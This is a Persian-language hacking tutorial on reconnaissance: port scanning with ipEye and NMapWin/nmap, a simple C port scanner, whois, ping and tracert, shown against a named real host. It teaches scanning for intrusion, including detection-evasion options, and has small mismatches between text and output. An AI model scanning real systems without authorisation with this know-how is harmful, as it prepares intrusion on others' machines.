چگونه مي‌توان عمل Port scanning را انجام داد؟
در تمام مطالبي که تا اين مرحله گفته‌ام سعي کرده‌ام که فقط از ابزارهاي موجود در ويندوز استفاده کنم و هيچ ابزار ديگري به‌کار نبرم، اما در مبحث پورت اسکنينگ چون هيچ ابزاري در ويندوز براي اين‌ کار نيست، به‌ناچار بايد يک سري برنامه را از اينترنت داون‌لود کنيد. (توجه داشته باشيد که فعلا حرفي از لينوکس نزده‌ام و سعي مي‌کنم فعلا هيچ بحثي را در مورد آن مطرح نکنم)
براي Port Scanning مي‌توان از ابزارهاي مختلفي استفاده کرد که اکثرا براي لينوکس طراحي شده‌اند، اما مهم‌ترين پورت اسکنرها براي ويندوز عبارتند از:
1- نرم‌افزار NMapWin v1.3.0 :
نسخه گرافيکي و مخصوص ويندوز براي nmap است (nmap در لينوکس استفاده مي‌شود). nmap از کامل‌ترين ابزارهايي است که هکر‌ها استفاده مي‌کنند که علاوه بر توانايي انواع پورت اسکنينگ‌ها، مي‌تواند کارهاي بسياري چون تشخيص سيستم‌عامل سرور و ... را انجام دهد. اين ابزار را بعدا توضيح خواهم داد ولي فعلا براي کار ما بيش‌ از حد کامله ;-)
2- NetScanTools Pro 2000 :
اين هم از بهترين‌هاست ولي چون پولي است به‌ جاي داون‌لود بايد در CD هايي که در بازار هست پيدايش کنيد.
3- WinScan :
براي اسکن کردن TCP (ونه UDP) مي‌توانيد از آن استفاده کنيد. من زياد ازش خوشم نيومد.
4- ipEye v1.2 :
من در اين درس از اين نرم‌افزار استفاده خواهم کرد، براي داون‌لود آن مي‌توانيد به سايت http://www.ntsecurity.nu/ مراجعه کنيد يا مستقيما با کليک روي اين لينک آن را داون‌لود کنيد. لازم است بگويم که اين نرم‌افزار فقط در ويندوز ???? و xp کار مي‌کند و نيز در يک بار اجرا فقط يک ip را مي‌تواند تست کند. ضمنا فقط TCP را تست مي‌کند.

چگونه از ipEye براي پورت اسکنينگ استفاده کنيم؟

با تايپ ipEye در command prompt اين نتايج ظاهر مي‌شود:
ipEye 1.2 - (c) 2000-2001, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
- http://ntsecurity.nu/toolbox/ipeye/
Error: Too few parameters.
Usage:
ipEye -p [optional parameters]
ipEye -p
[optional parameters]
is one of the following:
-syn = SYN scan
-fin = FIN scan
-null = Null scan
-xmas = Xmas scan>br>
(note: FIN, Null and Xmas scans don't work against Windows systems.
[optional parameters] are selected from the following:
-sip = source IP for the scan
-sp = source port for the scan
-d = delay between scanned ports in milliseconds
(default set to 750 ms)
فرض کنيد که مي‌خواهيم سايت سازين را از نظر پورت‌ها از پورت 1 تا 200 تست کنيم. اول بايد ip آن را به دست بياوريم که مي‌شود، 63.148.227.65 و حالا به کمک دستور زير آن را بررسي مي‌کنيم:
ipeye 63.148.227.65 -syn -p 1 200
دقت کنيد که 63.148.227.65 عدد ip سازين، syn- يعني SYN SCAN و p 1 200- يعني تست از پورت 1 تا 200 باشد. البته پارامترهاي ديگري را هم مي‌شود ست کرد که فعلا به درد ما نمي‌خورد. با اجراي اين دستور به نتايج زير مي‌رسيم:
ipEye 1.2 - (c) 2000-2001, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
- http://ntsecurity.nu/toolbox/ipeye/
1-20 [drop]
21 [open]
22 [closed or reject]
23-24 [drop]
25 [open]
26-52 [drop]
53 [open]
54-79 [drop]
80 [open]
81-109 [drop]
110 [open]
111-142 [drop]
143 [open]
144-200 [drop]
201-65535 [not scanned]
Closed يعني کامپيوتر در آن طرف هست ولي به پورت گوش نمي‌دهد، Reject يعني اينکه يک firewall هست که اجازه اتصال به آن پورت را نمي‌دهد، Drop يعني اينکه يک firewall همه‌چيز را پس‌ مي‌زند و يا اصلا کامپيوتري اونور نيست، Open هم که يعني باز.
در مورد سازين مي‌بينيد که از بين پورت‌هاي 1 تا 200 ، پورت‌هاي 521، 25، 53، 80، 110، 143 باز است و مي‌توان به‌ آنها telnet کرد. دقت کنيد که تا تمام پورت‌هايي که مشخص شده، تست نشده است، هيچ نتيجه‌اي نشان داده نمي‌شود و يه‌کم صبر مي‌خواد.
يادآوري :
قبلا گفتم که براي اينکه هکر خوبي بشيد، زبان C را بايد ياد بگيريد. امروز اولين برنامه اينترنتي خود را به زبان C شروع مي‌کنيم.برنامه‌اي که امروز مي‌نويسيم، يک پورت اسکنر ساده (Simple Port Scanner) است که acw_spscan.exe نام دارد. acw يعني Artawill Commandline Windows و spscan يعني Simple Port Scanner. من سورس اين برنامه را با Borland C++ 5.02 کامپايل کردم ولي فکر کنم روي هر نوع کامپايلر C ويندوز کار کند.
يک سري نکات در مورد هر برنامه‌اي که با C براي ويندوز خواهم نوشت هست که فقط امروز مي‌گم و بعدا ديگه اشاره نخواهم کرد.
1- هر برنامه‌اي که من مي‌نويسم، شامل دو فايل است که بايد داون‌لود کنيد: فايل اصلي که پسوند C يا CPP دارد و يک فايل به يکي از نامهاي acw_sock.h يا agw_sock.h يا acu_sock.h ويا axu_sock.h که با توجه به نوع سيستم‌عامل (ويندوز يا يونيکس) و نوع ظاهر برنامه (خط‌ فرمان يا گرافيکي) يکي از اين چهارتا خواهد بود. اگر برنامه براي ويندوز نوشته شده است، بايد قبل از کامپايل نهايي فايل WS2_32.LIB را هم به پروژه اضافه کنيد.
2- هر بار که برنامه جديدي خواهم نوشت فايلي که پسوند h دارد، کامل و کامل‌تر مي‌شود، پس هر وقت يک فايل جديد C يا CPP داون‌لود مي‌کنيد، فايل h مربوطه را هم داون‌لود کنيد.
3- کامپايلر مورد استفاده در برنامه‌هاي ويندوز Borland C++ 5.02 است. اگر از کامپايلر ديگري استفاده مي‌کنيد، ممکن است لازم باشد که تغييراتي اعمال کنيد.
4- سورس تمام توابع و برنامه‌ها مشمول کپي‌ رايت است ولي استفاده از توابع در برنامه‌هايتان در صورت عدم اعمال تغييرات در سورس بلامانع است. – اينه !
درباره برنامه Artawill Command-prompt Windows - Simple Prot Scanner = acw_spscan
برنامه acw_spscan.exe عمل پورت اسکنينگ را به صورت tcp و udp انجام مي‌دهد. همانطوري که از نامش پيداست، براي ويندوز و به‌صورت خط فرمان عمل مي‌کند.
داون‌لود فايل‌اجرايي ( acw_spscan.exe )
داون‌لود فايل برنامه ( acw_spscan.cpp )
داون‌لود فايل‌ هدر ( acw_sock.h )
اگر در command prompt تايپ کنيد: acw_spscan ،خطوط زير چاپ مي‌شود:
Artawill Command-line Windows SimplePortScanner (acw_spscan.exe) v1.0
Programmed by aod , ArtaWill.com
Usage: acw_spscan []
بنابراين مثلا اگر بخواهم سايت سازين را (که ip آن 63.148.227.65 است) براي پورت‌هاي 63 تا 65 به صورت tcp اسکن کنم، بايد بنويسم:
acw_spscan 63.148.227.65 20 30 tcp
و جواب مي‌شنوم:
Artawill Command-line Windows SimplePortScanner (acw_spscan.exe) v1.0
Programmed by aod, ArtaWill.com
>TCP
[63.148.227.65] TCP 21 : OPEN
[63.148.227.65] TCP 25 : OPEN
Simple Port Scanner End.
که نشان مي‌دهد، پورت‌هاي 63 و 65 باز است.

بررسي سورس برنامه

من براي راحتي کار برنامه‌نويسي شبکه، يک سري تابع تعريف کرده و آنها را در فايل acw_sock.h قرار داده‌ام که در برنامه اصلي آن را include مي‌کنم. حال به بررسي توابع مورد استفاده در برنامه امروز مي‌پردازم ( اگر خواهان اطلاعات بيشتري هستيد، سورس اين توابع را از فايل acw_sock.h بخوانيد ):
1- (int arta_win_LoadWinsock(char, char ==>
در برنامه‌نويسي ويندوز قبل از استفاده از سوکت(socket)، بايد WinSock را لود کرد که من اين کار را با اين تابع انجام مي‌دهم. اگر بپرسيد سوکت چيست، مي‌گويم سوکت ارتباطي است از نوع TCP/IP که از پورت خاصي از يک کامپيوتر به سوي يک پورت خاص از يک کامپيوتر ديگر براي رد و بدل کردن داده‌ها ايجاد مي‌شود. کل برنامه‌نويسي شبکه به کمک C با استفاده از سوکت‌هاست.
if(arta_win_LoadWinsock(2,0)==-1)
arta_commandline_win_DieWithError("ERR: Cannot load WinSock!");
دو خط بالا براي لودکردن WinSock ورژن 2.0 به‌کار مي‌رود.
2- (void arta_win_CleanWinsock(void ==>
در آخر برنامه بايد WinSockي را که با دستور بالا ايجاد کرده‌ايم، به‌کمک دستور اين قسمت ببنديم:
arta_win_CleanWinsock();

3- (int arta_win_CreateTcpSocket(void ==>
اين تابع يک سوکت از نوع tcp ايجاد مي‌کند.
if((sock=arta_win_CreateTcpSocket())==-1)
arta_commandline_win_DieWithError("ERR: Cannot Create Socket!");
دو خط بالا براي ايجاد يک سوکت tcp به‌کار مي‌رود.

4- (int arta_win_CreateUdpSocket(void ==>
اين تابع يک سوکت از نوع udp ايجاد مي‌کند.
if((sock=arta_win_CreateUdpSocket())==-1)

arta_commandline_win_DieWithError("ERR: Cannot Create Socket!");
دو خط بالا براي ايجاد يک سوکت udp به‌کار مي‌رود.

5- (void arta_win_CloseSocket(int ==>
اين تابع، سوکتي را که با يکي از دو دستور بالا ايجاد کرده‌ايم، مي‌بندد.
arta_win_CloseSocket(sock);

6- void arta_win_CreateServerAddressStructure
(* struct sockaddr_in *, unsigned short, char ) ==>
اين تابع اطلاعات لازم براي برقراري اتصال را مانند IP, Port مي‌گيرد و در يک structure مخصوص از نوع sockaddr_in قرار مي‌دهد. اين structure در توابع بعدي به‌کار مي‌رود.
arta_win_CreateServerAddressStructure(&addr,port,IP);

7- (* int arta_win_EstablishTcpSocketConnection(int, struct sockaddr_in ==>
اين تابع sock (که از تابع‌هاي ? يا ? به‌دست آمده) و addr را (که از تابع ? حاصل شده) مي‌گيرد و يک ارتباط واقعي tcp تشکيل مي‌دهد. اگر ارتباط به‌وجود آمد، پورت باز است وگرنه بسته است.
if(arta_win_EstablishTcpSocketConnection(sock, &addr)==-1){

....
}
8- (* int arta_win_EstablishUdpSocketConnection(int, struct sockaddr_in ==>
اين تابع sock (که از تابع‌هاي ? يا ? به‌دست آمده) و addr را (که از تابع ? حاصل شده) مي‌گيرد و يک ارتباط واقعي udp تشکيل مي‌دهد. اگر ارتباط به‌وجود آمد، پورت باز است وگرنه بسته است.
if(arta_win_EstablishUdpSocketConnection(sock, &addr)==-1){

....
}
حالا يک توضيح کلي مي‌دم:
اولين سطرهاي برنامه را بررسي مي‌کنم
/* An ArtaWill Production - copyright(c) ArtaWill.com */
/* Programmed by: - aod Hacker */
/* This Source code and its Functions can be used - but no .... */
/* Funcions source or code can be done ! */
#include /* for printf(), fprintf() */
#include /* for exit() */
#include /* for strings */
#include "acw_sock.h"
void main(int argc, char *argv[])
{
struct sockaddr_in addr;
char *IP;
int sock;
int port;
int startport, endport;
int tcp_udp_both=1;
arta_commandline_win_StartMessage("SimplePortScanner ......");
if ((argc != 4) && (argc != 5)) /* Test for correct ...... */
{
arta_commandline_win_DieWithError("Usage: acw_spscan []\n");
exit(1);
}
IP = argv[1];
startport = atoi(argv[2]);
endport = atoi(argv[3]);
if(argc==5){
if(stricmp(argv[4],"udp")==0){tcp_udp_both=2;}
else if (stricmp(argv[4],"both")==0){tcp_udp_both=3;}
}

if(arta_win_LoadWinsock(2,0)==-1)
arta_commandline_win_DieWithError("ERR: Cannot load WinSock!");
اوايل برنامه يه‌سري توضيحات
بعدش يک سري هدر (header) را include کرده‌ام از جمله acw_sock.h را
بعدش main شروع مي‌شود و يک سري تعريف متغير داريم که به نوع اين متغير ها دقت کنيد.
بعد از روي ورودي خط‌ فرمان، متغير‌ها ست مي‌شوند.
حالا ادامه:
if(tcp_udp_both!=2){
puts(">TCP ");
for(port=startport;port<=endport;port++){
printf(" [%s] TCP %5d : Testing... ",IP,port);
if((sock=arta_win_CreateTcpSocket())==-1)
arta_commandline_win_DieWithError("ERR: Cannot Crea....");
arta_win_CreateServerAddressStructure(&addr,port,IP);
if(arta_win_EstablishTcpSocketConnection(sock, &addr)==-1){
printf("\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b........");
}
else{
printf("\b\b\b\b\b\b\b\b\b\b\b");
printf("OPEN \n");
}
arta_win_CloseSocket(sock);
}
}
اگر قرار باشد که tcp چک شود، اين خطوط اجرا مي‌شوند. در اين سطرها يک اتصال tcp خاص بايد ايجاد شود و اگر اين عمل موفق بود، آن پورت باز است.
حالا ادامه برنامه:
if(tcp_udp_both!=1){
puts(">UDP ");
for(port=startport;port<=endport;port++){
printf(" [%s] UDP %5d : Testing... ",IP,port);
if((sock=arta_win_CreateUdpSocket())==-1)
arta_commandline_win_DieWithError("ERR: Cannot Cre....!");
arta_win_CreateServerAddressStructure(&addr,port,IP);
if(arta_win_EstablishUdpSocketConnection(sock, &addr)==-1){
printf("\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b.....");
}
else{
printf("\b\b\b\b\b\b\b\b\b\b\b");
printf("OPEN \n");
}
arta_win_CloseSocket(sock);
}
}
همان کارها را ولي اين‌بار براي udp انجام مي‌دهد.
و حالا آخر برنامه:
puts(" \n");
arta_commandline_win_EndMessage("Simple Port Scanner");
arta_win_CloseSocket(sock);
arta_win_CleanWinsock();
exit(0);
}
در اينجا پيغام انتهايي چاپ شده و سوکت بسته مي‌شود.
1 ادامه بحث whois
قبلا در مورد ip whois و dns whois صحبت کردم. بحث dns whois (کسب اطلاعات در مورد يک domain خاص) رو ادامه مي‌دم.
در درس قبلي از سايت SamSpade استفاده کردم. اگر اين whois رو تست کرده باشيد، مي‌دانيد که براي يک سري از domain (دامنه) ها، جواب نمي‌دهد. مثال آن سايت‌هايي است که داراي دامنه جغرافيايي مثلا ايران هستند، در مورد دامنه‌هاي جغرافيايي ايران بايد گفت که به ir. ختم مي‌شوند ( مثلا: neda.net.ir ). مثال ديگري که در whois سايت SamSpade کار نمي‌کند، تعدادي از دامنه‌هاي org , .net , .com. هستند که در internic.net ثبت نشده‌اند، بلکه در domainpeople.com ثبت شده‌اند ( مثلا sanjesh.org ). چند سال پيش ثبت domain هايي که در گروه org, net, com بودند، مختص به internic.net بود ولي الان ديگر اينطور نيست.
کاري که شما بايد براي whois کردن بايد انجام دهيد، توجه به نوع آن domain است که از نوع com است يا ir است يا biz است و ... بعد از آن از يکي از سايت‌هاي زير استفاده کنيد :
2- internic.net :
براي edu , org , net , com عالي است. براي museum , int , info , coop , biz , arpa, aero هم‌ مي‌تواند استفاده شود.
صفحه وب مربوطه عبارت‌ است از http://www.internic.net/whois.html
يا مي‌توانيد مستقيما در مرورگر بنويسيد:
http://www.internic.net/cgi/whois?type=domain&whois_nic=xxxxxxxx که به‌جاي xxxxxxxx مثلا بايد بنويسيد: aod.com
3- nic.ir :
براي ir استفاده مي‌شود.
صفحه وب مربوطه عبارت‌ است از /http://whois.nic.ir
4- www.tv :
براي cc , info , biz , tv عالي است.
صفحه وب مربوطه عبارت‌ است از /http://www.tv
يا مي‌توانيد مستقيما در مرورگر بنويسيد:
http://www.tv/en-def-8e33e8cf5e3c/cgi-bin/whois.cgi?domain=yyyyyy&tld=zzzz که اگر بخواهم مثلا hack.tv را whois کنم به‌جاي yyyyy بايد بنويسيد hack و به جاي zzzz بايد بنويسيد tv
5- domainpeople.com :
براي name , biz , info , org , net , com عالي است.
صفحه وب مربوطه عبارت‌ است از /http://whois.domainpeople.com
همانطور که ملاحظه مي‌فرماييد، org , net , com در ? و ? مشترک است. علت آن است که بعضي‌ها در اولي و بعضي‌ها در چهارمي ثبت مي‌شوند ولي براي whois کردن فرقي نمي‌کنه که شما از اولي استفاده کنيد يا چهارمي چون همديگر رو ساپورت مي‌کنند.

ping چيست ؟

ping دستوري است که مشخص مي‌کند که آيا يک کامپيوتر خاص که ما ip يا domain آن را مي‌دانيم، روشن و فعال (Active) هست يا نه. و اينکه اگر فعال باشد مدت زمان رسيدن بسته‌هاي tcp/ip از آن کامپيوتر به کامپيوتر ما چقدر است.
کاربرد اين دستور به صورت زير است:
ping ip-or-domain
که به جاي ip-or-domain بايد شماره ip و يا domain آن(اگر داشته باشد) را مي‌گذاريم.
مثلا ping aod.com را در command prompt تايپ کردم و به نتايج زير رسيدم :
Pinging aod.com [63.148.227.65] with 32 bytes of data:
Reply from 63.148.227.65: bytes=32 time=1402ms TTL=105
Reply from 63.148.227.65: bytes=32 time=941ms TTL=105
Reply from 63.148.227.65: bytes=32 time=981ms TTL=105
Reply from 63.148.227.65: bytes=32 time=851ms TTL=105
Ping statistics for 63.148.227.65:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 851ms, Maximum = 1402ms, Average = 1043ms
اين نتايج نشان مي‌دهد که aod.com فعال است.
حالا به کامپيوتري با ip شماره 63.148.227.65 (که همان aod.com است)، ping مي‌کنم. نتايج همان است فقط با تغييراتي در سطر اول. (البته time که معناي مدت زمان رسيدن پکت را مي‌دهد، با توجه به ترافيک شبکه، کم و زياد خواهد شد). براي ping کردن به اين ip ، دستور 63.148.227.65 ping را صادر مي‌کنم :
Pinging 63.148.227.65 with 32 bytes of data:
Reply from 63.148.227.65: bytes=32 time=861ms TTL=105
Reply from 63.148.227.65: bytes=32 time=852ms TTL=105
Reply from 63.148.227.65: bytes=32 time=851ms TTL=105
Reply from 63.148.227.65: bytes=32 time=881ms TTL=105
Ping statistics for 63.148.227.65:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 851ms, Maximum = 881ms, Average = 861ms
فرض کنيد که به يک ip که فعال نيست، ping کنيم:
Pinging 217.66.196.1 with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Ping statistics for 217.66.196.1:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
که نشان مي‌دهد که آن ip در آن لحظه فعال نيست.
البته تمام مطالبي که در بالا ذکر شد، در حالتي است که مستقيما به اينترنت وصل شده‌ايد و يا اگر از طريق شبکه محلي به اينترنت وصل هستيد، شبکه شما به درستي پيکربندي شده باشد. اصولا ping يکي از بهترين دستورات براي پيدا کردن ايراد در شبکه است.
tracert چيست ؟
tracert ( در يونيکس مي‌شود traceroute ) ابزاري است که نشان مي‌دهد که يک packet اطلاعاتي از کامپيوتر شما چه مسيري را طي مي‌کند و از چه کامپيوترهايي مي‌گذرد تا به يک مقصد خاص برسد. مقصد را ما مشخص مي‌کنيم و معمولا همان کامپيوتري است که داريم footprinting مي‌کنيم.
کاربرد اين دستور به صورت زير است:
tracert ip-or-domain
مثلا مي‌خواهم ببينم که از چه کامپيوترهايي بايد رد شويم تا به aod.com برسيم. براي اينکار مي‌توان از يکي از دستورهاي زير استفاده کرد:
tracert aod.com
tracert 63.148.227.65
به نتيجه زير رسيدم:
Tracing route to aod.com [63.148.227.65]
1 160 ms 160 ms 160 ms 217.218.84.3
2 381 ms 691 ms 1772 ms 217.218.84.5
3 * * 2324 ms 217.218.77.1
4 201 ms 1101 ms 180 ms 217.218.0.252
5 341 ms 220 ms 180 ms 217.218.0.2
6 1993 ms 180 ms 181 ms 217.218.158.41
7 180 ms 160 ms 160 ms 195.146.63.101
8 2824 ms * * 195.146.32.134
9 1472 ms 1463 ms 871 ms 195.146.33.73
10 791 ms 841 ms 811 ms if-1....eglobe.net [207.45.218.161]
11 1692 ms * 2654 ms if-4-....eglobe.net [207.45.222.77]
12 1282 ms 891 ms 1052 ms if-1-....globe.net [207.45.220.245]

14 931 ms 861 ms 871 ms if-8-....leglobe.net [64.86.83.174]
15 901 ms 841 ms 852 ms if-5-.....globe.net [207.45.223.62]
16 841 ms 862 ms 851 ms pos6-.....vel3.net [209.0.227.33]
17 841 ms 842 ms 941 ms so-4-1.....vel3.net [209.247.10.205]
18 882 ms 931 ms 851 ms so-0-1....vel3.net [209.247.11.197]
19 871 ms 891 ms 951 ms gige9....vel3.net [209.247.11.210]
20 1011 ms 851 ms 902 ms unknown.Level3.net [63.208.0.94]
21 852 ms * 882 ms 64.156.25.74
22 961 ms 942 ms 841 ms 63.148.227.65
Trace complete.
اين نتايج نشان مي‌دهد که بايد از 10 کامپيوتر بگذرم تا به aod.com برسم. اين اطلاعات همان‌طور که بعدا خواهيد ديد، حاوي اطلاعات زيادي براي پيدا کردن فايروال‌ها و ... است. (بعضي سطرها رو کوتاه کردم و به‌جاش .... گذاشتم)
tracert داراي تعدادي switch است که دوتاش رو توضيح مي‌دم:
d- ==>
با استفاده از اين سويچ در نتايج حاصله فقط ip ها نمايش داده مي‌شود.
مثلا مي‌نويسيم: tracert aod.com -d
h max-hops- ==>
حداکثر تعداد گام‌ها را تعيين مي‌کند. حالت پيش‌فرض ?? است.
مثلا مي‌نويسيم: tracert aod.com -h 50
از اين دستور بعدا بسيار استفاده خواهيم کرد.

معرفي nmap و NMapWin

اگر بخواهيد مهم‌ترين ابزاري را که يک هکر براي footprinting استفاده مي‌کند بدانيد، آن نرم‌افزار nmap خواهد بود که براي سيستم‌هاي لينوکس و يونيکس طراحي شده است. براي هکرهاي تازه‌کار که سيستم‌عامل ويندوز را به کار مي‌برند، نسخه گرافيکي و تحت ويندوزي طراحي شده است که NMapWin نام دارد و همان امکانات را فراهم مي‌آورد. بحث اين‌ جلسه درباره اين نرم‌افزار است. اندازه برنامه 6.18 مگابايت است و اگر اتصالتان dial-up است، کمي طول خواهد کشيد. ضمنا توجه کنيد که اين برنامه مخصوص ويندوز ???? و xp است.
اين نرم‌افزار مجموعه ابزارهاي footprinting مثل پورت اسکن، آي‌پي اسکن، تشخيص سيستم‌عامل کامپيوتر مورد نظر (OS detection) و ... را گرد هم آورده است
بررسي ظاهر برنامه
شکل ظاهري برنامه چهار قسمت دارد:
1- Network Section :
بالاترين قسمت پنجره برنامه است که محلي براي ورود ip يا ip ها دارد به نام Host. بعد از وارد کردن ip و تنظيم کردن پارامترها، دکمه Scan را کليک مي‌کنيم تا کار اسکن شروع شود.
اگر قرار باشد بيش از يک ip وارد شود، اين کار را مي‌توان به صورت‌هاي مختلف انجام داد. مثلا: *.*.192.130 يعني تمام ip هايي که با 192.130 شروع مي‌شوند ولي دو عدد بعدي هرچيزي مي‌تواند باشد. و نوشتن به صورت 15-192.130.120.12 يعني عدد آخري مي‌تواند از ?? تا ?? باشد.
2- Option Folder :
اين قسمت در واقع محل تنظيمات است و به کمک آن مشخص مي‌کنيم که از برنامه مي‌خواهيم که چه‌کاري انجام دهد که مفصلا در موردش صحبت خواهم کرد. در اين قسمت، برگه‌هايي با نام‌هاي Option , Discover , Scan , ... وجود دارد.
3- Log Output :
محل ظاهر شدن نتايج است. در حالتي که اسکن شروع نشده باشد، خالي است.
4- Status bar :
پايين‌ترين بخش پنجره برنامه است و دو بخش مهم دارد:
قسمت سمت چپ نشان مي‌دهد که اگر بخواهيم در nmap همين کار رو انجام بديم، چه سويچ‌هايي را بايد بکار بريم ( دقت کنيد که nmap برخلاف NMapWin گرافيکي نيست ). هر تغييري که در قسمت Option Folder اعمال کنيم، در اين قسمت تغييري را مشاهده مي‌کنيم و توصيه مي‌کنم که حتما به اين قسمت توجه ويژه‌اي داشته باشيد.
اما در سمت راست آن، يک مربع کوچک مشاهده مي‌شود که مي‌تواند به رنگ‌هاي سبز يا قرمز باشد. سبز يعني اينکه برنامه آماده براي اجراي دستورات شماست و قرمز يعني در حال انجام دستورات وارد شده است و فعلا دستور جديد نمي‌پذيرد.

........................................................................................................

قسمت دوم

شروع کار با NMapWin

فرض کنيد که مي‌خواهم سايت aod.com رو مي‌خواهم مورد بررسي قرار دهم. براي اينکار ابتدا ip رو بدست‌ آورده (63.148.227.65) و در قسمت Host تايپ مي‌کنيم. حالا فعلا بدون اعمال تغييري در قسمت Option Folder ، دکمه Scan رو کليک مي‌کنيم. اسکن شروع مي‌شود و بعد از چند دقيقه، نتايج زير در قسمت Log Output ظاهر مي‌شود:
Starting nmap V. 3.00 ( www.insecure.org/nmap )
Interesting ports on (63.148.227.65):
(The 1583 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
25/tcp open smtp
31/tcp open msg-auth
53/tcp open domain
80/tcp open http
110/tcp open pop-3
135/tcp open loc-srv
143/tcp open imap2
443/tcp open https
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1050/tcp open java-or-OTGfileshare
1433/tcp open ms-sql-s
3372/tcp open msdtc
3389/tcp open ms-term-serv
6666/tcp open irc-serv
7007/tcp open afs3-bos
Remote operating system guess: Windows 2000/XP/ME
Nmap .... -- 1 IP address (1 host up) scanned in 156 seconds
در همين‌جا سه نوع اطلاعات قابل دسترسي است:
1- ليست پورت‌هاي باز روي کامپيوتر سرور و کاربرد آن پورت‌ها
2- تشخيص سيستم عامل که Windows 2000/XP/ME حدس زده شده است (سطر ماقبل آخر)
3- و سطر آخر مي‌گويد که اين ip روشن (up) است
بررسي برگه Scan از قسمت Option Folder
اين برگه خود 9 بخش دارد:
+> بخش Mode :
در درس‌هاي قبلي گفتم که اسکنينگ انواع مختلفي داره، و اينجا جايي است که نوع اسکنينگ رو مشخص مي‌کنيم:
- Connect : اسکن از نوع TCP connect scan است که قبلا در درس هفتم درباره‌اش بحث کرده‌ام.
- SYN Stealth : در درس هفتم درباره اين هم گفته‌ام. - پيش‌فرض هم همين است
- Null Scan , Xmas tree , FIN Stealth : براي سرورهاي غير از ويندوز کار مي‌کنند.
- UDP Scan : براي اسکن کردن پورت‌هاي udp است.
- Ping Sweep : براي عمل ip scanning است که بدانيم که از بين يک سري ip کدام‌ها فعال هستند.
- List Scan : همان Ping Sweep است ولي به طوري که ip مان لو نرود.
- ACK Scan : معمولا براي تشخيص فايروال‌ها کاربرد دارد.
- Window Scan : همان ACK Scan است ولي کامل‌تر
- RCP Scan : جزو کامل‌ترين حالت‌هاي اسکنينگ است با اطلاعات فراوان.
+> بخش Scan Options :
اين قسمت شش گزينه دارد که فقط يکي‌شان به درد مي‌خوره:
- Port Range : مشخص مي‌کند که چه پورت‌هايي بايد اسکن شود: اگر خالي بماند، يعني همه پورت‌ها ، اگر يک عدد نوشته شود يعني فقط آن پورت و اگر به‌صورت n-m نوشته شود (که n و m عدد هستند) يعني از پورت n تا پورت m اسکن شود.

بررسي برگه Discover از قسمت Option Folder

اين برگه داراي چهار گزينه است:
- TCP Ping : براي بررسي فعال بودن کامپيوتر مورد نظر مي‌تواند به‌کار رود.
- ICMP Ping : پينگ فقط از نوع ICMP باشد.
- TCP+ICMP : براي بررسي فايروال‌ها مناسب است (پيش‌فرض)
- Don't Ping : پينگ نکند.

ادامه بحث NMapWin

بررسي برگه Options از قسمت Option Folder

اين برگه خود 6 بخش دارد:
+> بخش Options :
- Fragmentation : اگر بخواهيم در اسکنينگ‌هايي از نوع Null, Xmas, FIN, SYN تا حدودي تغييرات اعمال کنيم تا حداقل خطر را براي ما داشته باشند، مي‌توان اين گزينه را انتخاب کرد. ولي بايد توجه داشت که گاهي با انتخاب اين گزينه اسکنينگ موفقيت آميز نخواهد بود.
- Get Idented Info : اگر بخواهيم اسکنينگ از نوع connect صورت دهيم، با انتخاب اين گزينه گاه اطلاعات ذي‌قيمتي براي ما به ارمغان مي‌آورد.
- Resolve All : در حالت پيش‌فرض، اين نرم‌افزار روي ip هايي که up هستند، عمل Reverse Whois را انجام مي‌دهد (يعني از روي ip، به دنبال اسم DNS مربوطه مي‌گردد). اگر Resolve All را انتخاب کرده باشيم، روي همه ip ها، چه up و چه down عمل Reverse Whois انجام خواهد شد.
- Don't Resolve : هرگز Reverse Whois نخواهد کرد.
- OS Detection : از جمله مهم‌ترين گزينه‌هاي اين نرم‌افزار است که اگر انتخاب‌شده باشد، برنامه سعي مي‌کند که سيستم‌عامل کامپيوتر مقابل را حدس بزند.
- Random Host : به صورت تصادفي ip هايي را تست مي‌کند، و هرگز هم به پايان نمي‌رسد.

بخش Debug

- Debug : اگر مارک شده باشد، نتايج ديباگ مرحله به مرحله در خروجي نشان داده مي‌شود.
- Verbose : اگر انتخاب‌شده باشد، پيشرفت کار را نشان مي‌دهد.
- Very Verbose : پيشرفت کار را با نهايت جزئيات نشان مي‌دهد.

بررسي برگه Timing از قسمت Option Folder

اين برگه خود 6 بخش دارد:
+> بخش Throttle :
در اين بخش هرچه گزينه‌هاي بالاتر را انتخاب کنيد، کار کندتر و دقيق‌تر است و احتمال detection (لو رفتن) شما کمتر است و هرچه پايين تر برعکس. به نظر مي‌رسد، Normal بهترين انتخاب باشد.
+> بخش Timeouts :
- Host Timeout : حداکثر زماني را مشخص مي‌کند که براي يک ip مي‌تواند صرف شود.
- Max RTT : حداکثر زماني را مشخص مي‌کند که براي يک probe مي‌تواند صرف شود. پيش‌فرض، 9000 است (يعني ? ثانيه)
- Min RTT : براي هر probe حداقل به اين اندازه صبر مي‌کند.
- Initial RTT : اين گزينه خصوصا در ip هايي که فايروال دارند، مفيد است.
- Parallelism : اگر در مورد acw_spscan دقت کرده‌ باشيد، اين برنامه هر بار فقط يک پورت را پروب مي‌کند و نه بيشتر ( به همين خاطر است که اول اسم آن simple دارد ). ولي محصولات واقعي بايد همزمان تعدادي پورت را تست کنند. در اين قسمت مي‌توان حداکثر تعداد پورت‌هايي که مي‌تواند همزمان پروب شوند را مشخص مي‌کنيم.
- Scan Delay : بين هر اسکن، حداقل به اين ميزان صبر مي‌کند.

بررسي برگه Timing از قسمت Option Folder

اين برگه خود 2 بخش دارد:
+> بخش Input :
براي اينکه روند کارها را سريع‌تر کنيم، مي‌توان از اين بخش استفاده کرد. در اين حالت ورودي از يک فايل خوانده مي‌شود.
+> بخش Output :
